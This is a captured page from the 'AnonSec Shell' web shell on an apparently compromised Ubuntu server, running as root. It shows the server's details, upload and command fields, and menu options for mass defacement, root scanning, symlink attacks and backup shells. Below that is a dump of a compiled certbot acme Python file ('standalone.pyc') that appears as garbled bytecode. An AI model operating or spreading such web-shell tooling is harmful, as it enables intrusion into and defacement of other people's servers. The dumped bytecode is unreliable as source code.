AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/usr/lib/python3/dist-packages/acme/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/thread-self/root/usr/lib/python3/dist-packages/acme/__pycache__/standalone.cpython-310.pyc
o

6��aV3�@svdZddlZddlZddlmZddlmZddl	Z	ddl
Z
ddlZddlZddl
mZddl
mZddl
mZddl
mZddl
mZddl
mZdd	l
mZdd
lmZddlmZddlmZdd
lmZe	�e�ZGdd�dej�ZGdd�d�Z Gdd�d�Z!Gdd�dee �Z"Gdd�dej#�Z#Gdd�de#e �Z$Gdd�de!�Z%Gdd�dej&�Z'Gdd�dej(�Z)dS) z1Support for standalone client challenge solvers. �N)�Any)�List)�Mapping)�Optional)�Set)�Tuple)�Type)�crypto)�SSL)�
challenges)�crypto_utilc@sZeZdZdZdededdfdd�Zddd	�Zd
ejde	e
je
jffdd�Z
dd
d�ZdS)�	TLSServerzGeneric TLS Server.�args�kwargs�returnNcOsp|�dd�|_|jrtj|_ntj|_|�di�|_|�dtj�|_	|�dd�|_
tjj
|g|�Ri|��dS)N�ipv6F�certs�method�allow_reuse_addressT)�popr�socket�AF_INET6�address_family�AF_INETrr�_DEFAULT_SSL_METHODrr�socketserver�	TCPServer�__init__��selfrr�r �1/usr/lib/python3/dist-packages/acme/standalone.pyrs
�zTLSServer.__init__cCs&tj|j|jt|dd�|jd�|_dS)N�_alpn_selection)�cert_selection�alpn_selectionr)r�	SSLSocketr�_cert_selection�getattrr�rr r r!�
_wrap_sock*s

�zTLSServer._wrap_sock�
connectioncCs|��}|j�|d�S)z.Callback selecting certificate for connection.N)�get_servernamer�get�rr*�server_namer r r!r&0szTLSServer._cert_selectioncCs|��tj�|�S�N)r)rr�server_bindr(r r r!r06szTLSServer.server_bind�rN)�__name__�
__module__�__qualname__�__doc__rrr)r
�
Connectionrr	�PKey�X509r&r0r r r r!r
s

�r
c@seZdZdZdZdZdS)�ACMEServerMixinz"ACME server common settings mixin.z'ACME client standalone challenge solverTN)r2r3r4r5�server_versionrr r r r!r9;sr9c
@sjeZdZdZdeejdeee	fde
de
ddf
dd	�Zdd
d�Zde
eee	ffdd
�Zddd�ZdS)�BaseDualNetworkedServersaBase class for a pair of IPv6 and IPv4 servers that tries to do everything
       it's asked for both servers, but where failures in one server don't
       affect the other.

       If two servers are instantiated, they will serve on the same port.
       �ServerClass�server_address�remaining_argsrrNcOs,|d}g|_g|_d}dD]y}z0||d<|df|f|dd�}|f|}	||	i|��}
t�d|d|d|r<dnd�Wn9tjyy}z,|}|jr_t�d	|d|d|r[dnd�nt�d
|d|d|rldnd�WYd}~qd}~ww|j�|
�|
j��d}q|js�|r�|�t�d��dS)N�)TFrr�z$Successfully bound to %s:%s using %s�IPv6�IPv4z�Certbot wasn't able to bind to %s:%s using %s, this is often expected due to the dual stack nature of IPv6 socket implementations.z Failed to bind to %s:%s using %szCould not bind to IPv4 or IPv6.)�threads�servers�logger�debugr�error�append�getsockname)rr<r=r>r�port�last_socket_err�
ip_version�new_address�new_args�server�er r r!rJsF	
�
����
�z!BaseDualNetworkedServers.__init__cCs2|jD]}tj|jd�}|��|j�|�qdS)z*Wraps socketserver.TCPServer.serve_forever)�targetN)rD�	threading�Thread�
serve_forever�startrCrH�rrO�threadr r r!rT|s
��z&BaseDualNetworkedServers.serve_forevercCsdd�|jD�S)z/Wraps socketserver.TCPServer.socket.getsocknamecSsg|]}|j���qSr )rrI)�.0rOr r r!�
<listcomp>�sz9BaseDualNetworkedServers.getsocknames.<locals>.<listcomp>)rDr(r r r!�getsocknames�sz%BaseDualNetworkedServers.getsocknamescCs:|jD]
}|��|��q|jD]}|��qg|_dS)zpWraps socketserver.TCPServer.shutdown, socketserver.TCPServer.server_close, and
           threading.Thread.joinN)rD�shutdown�server_closerC�joinrVr r r!�shutdown_and_server_close�s




z2BaseDualNetworkedServers.shutdown_and_server_closer1)r2r3r4r5rrrr�str�intrrrTrrZr^r r r r!r;Bs��
�
2r;c@s�eZdZdZdZ	ddeeefdeee	j
e	jfdeeee	j
e	jffde
dd	f
d
d�Zdejdee	j
e	jffd
d�Zdejdeedefdd�Zd	S)�TLSALPN01ServerzTLSALPN01 Server.s
acme-tls/1Fr=r�challenge_certsrrNcCstj||t||d�||_dS)N)rr)r
r�_BaseRequestHandlerWithLoggingrb)rr=rrbrr r r!r�s
�
zTLSALPN01Server.__init__r*cCs|��}t�d|�|j|S)Nz)Serving challenge cert for server name %s)r+rErFrbr-r r r!r&�s
zTLSALPN01Server._cert_selection�_connection�alpn_protoscCsBt|�dkr|d|jkrt�d|j�|jSt�dt|��dS)z!Callback to select alpn protocol.r?rzAgreed on %s ALPNz#Cannot agree on ALPN proto. Got: %s�)�len�ACME_TLS_1_PROTOCOLrErFr_)rrdrer r r!r"�s
zTLSALPN01Server._alpn_selection)F)r2r3r4r5rhrr_r`rr	r7r8r�boolrr
r6r&�bytesr"r r r r!ra�s����
� 	 rac@�&eZdZdZdededdfdd�ZdS)�
HTTPServerzGeneric HTTP Server.rrrNcOsD|�dd�|_|jrtj|_ntj|_tjj|g|�Ri|��dS)NrF)	rrrrrr�BaseHTTPServerrlrrr r r!r�s

zHTTPServer.__init__�r2r3r4r5rrr r r r!rl�srlc@s@eZdZdZ	ddeeefdeej	de
dedd	f
d
d�Zd	S)
�HTTP01ServerzHTTP01 Server.F�r=�	resourcesr�timeoutrNcCs tj||tj||d�|d�dS)N��simple_http_resourcesrr)r)rlr�HTTP01RequestHandler�partial_init)rr=rqrrrr r r!r�s�
�zHTTP01Server.__init__)Frp)r2r3r4r5rr_r`rr�HTTP01rirr r r r!ro�s����roc@rk)�HTTP01DualNetworkedServersz`HTTP01Server Wrapper. Tries everything for both. Failures for one don't
       affect the other.rrrNcOstj|tg|�Ri|��dSr/)r;rrorr r r!r�sz#HTTP01DualNetworkedServers.__init__rnr r r r!rx�srxc@s�eZdZdZe�dd�Zdededdfdd	�Ze	de
fd
d��Zdededdfd
d�Z
ddd�Zddd�Zddd�Zddd�Zddd�Zedeejde
ddfdd��ZdS)ruz�HTTP01 challenge handler.

    Adheres to the stdlib's `socketserver.BaseRequestHandler` interface.

    :ivar set simple_http_resources: A set of `HTTP01Resource`
        objects. TODO: better name?

    �HTTP01Resourcezchall response validationrrrNcOs@|�dt��|_|�dd�|_tjj|g|�Ri|��|dS)Nrtrrrp)r�setrt�_timeoutrm�BaseHTTPRequestHandlerrrr r r!r�szHTTP01RequestHandler.__init__cCs|jS)z�
        The default timeout this server should apply to requests.
        :return: timeout to apply
        :rtype: int
        )r{r(r r r!rr�szHTTP01RequestHandler.timeout�formatcG�t�d|jd||�dS�zLog arbitrary message.z	%s - - %srN�rErF�client_address�rr}rr r r!�log_message��z HTTP01RequestHandler.log_messagecC�|�d�tj�|�dS�zHandle request.zIncoming requestN)r�rmr|�handler(r r r!r���
zHTTP01RequestHandler.handlecCsB|jdkr|��dS|j�dtjj�r|��dS|��dS)N�/)�path�handle_index�
startswithrrw�
URI_ROOT_PATH�handle_simple_http_resource�
handle_404r(r r r!�do_GETs

zHTTP01RequestHandler.do_GETcCs6|�d�|�dd�|��|j�|jj���dS)zHandle index page.��zContent-Type�	text/htmlN)�
send_response�send_header�end_headers�wfile�writerOr:�encoder(r r r!r�s
z!HTTP01RequestHandler.handle_indexcCs4|jtjdd�|�dd�|��|j�d�dS)zHandler 404 Not Found errors.z	Not Found)�messagezContent-typer�s404N)r��http_client�	NOT_FOUNDr�r�r�r�r(r r r!r�szHTTP01RequestHandler.handle_404cCsv|jD])}|jj|jkr,|�d|j�d��|�tj�|��|j	�
|j���dSq|�d�|�d|j�dS)z$Handle HTTP01 provisioned resources.zServing HTTP01 with token %r�tokenNzNo resources to servez0%s does not correspond to any resource. ignoring)rt�challr�r�r�r�r��OKr�r�r��
validation)r�resourcer r r!r�s

��
�z0HTTP01RequestHandler.handle_simple_http_resourcertrrz'functools.partial[HTTP01RequestHandler]cCstj|||d�S)z�Partially initialize this handler.

        This is useful because `socketserver.BaseServer` takes
        uninitialized handler and initializes it with the current
        request.

        rs)�	functools�partial)�clsrtrrr r r!rv%s
�z!HTTP01RequestHandler.partial_initr1)r2r3r4r5�collections�
namedtupleryrr�propertyr`rrr_r�r�r�r�r�r��classmethodrrrwrvr r r r!ru�s(�




��ruc@s0eZdZdZdededdfdd�Zd
dd	�ZdS)rcz BaseRequestHandler with logging.r}rrNcGr~rr�r�r r r!r�7r�z*_BaseRequestHandlerWithLogging.log_messagecCr�r�)r�r�BaseRequestHandlerr�r(r r r!r�;r�z%_BaseRequestHandlerWithLogging.handler1)r2r3r4r5r_rr�r�r r r r!rc4src)*r5r�r��http.client�clientr��http.serverrOrm�loggingrrrR�typingrrrrrrr�OpenSSLr	r
�acmerr�	getLoggerr2rErr
r9r;rarlrorxr|rur�rcr r r r!�<module>s<
 Q%
^

Anon7 - 2022
AnonSec Team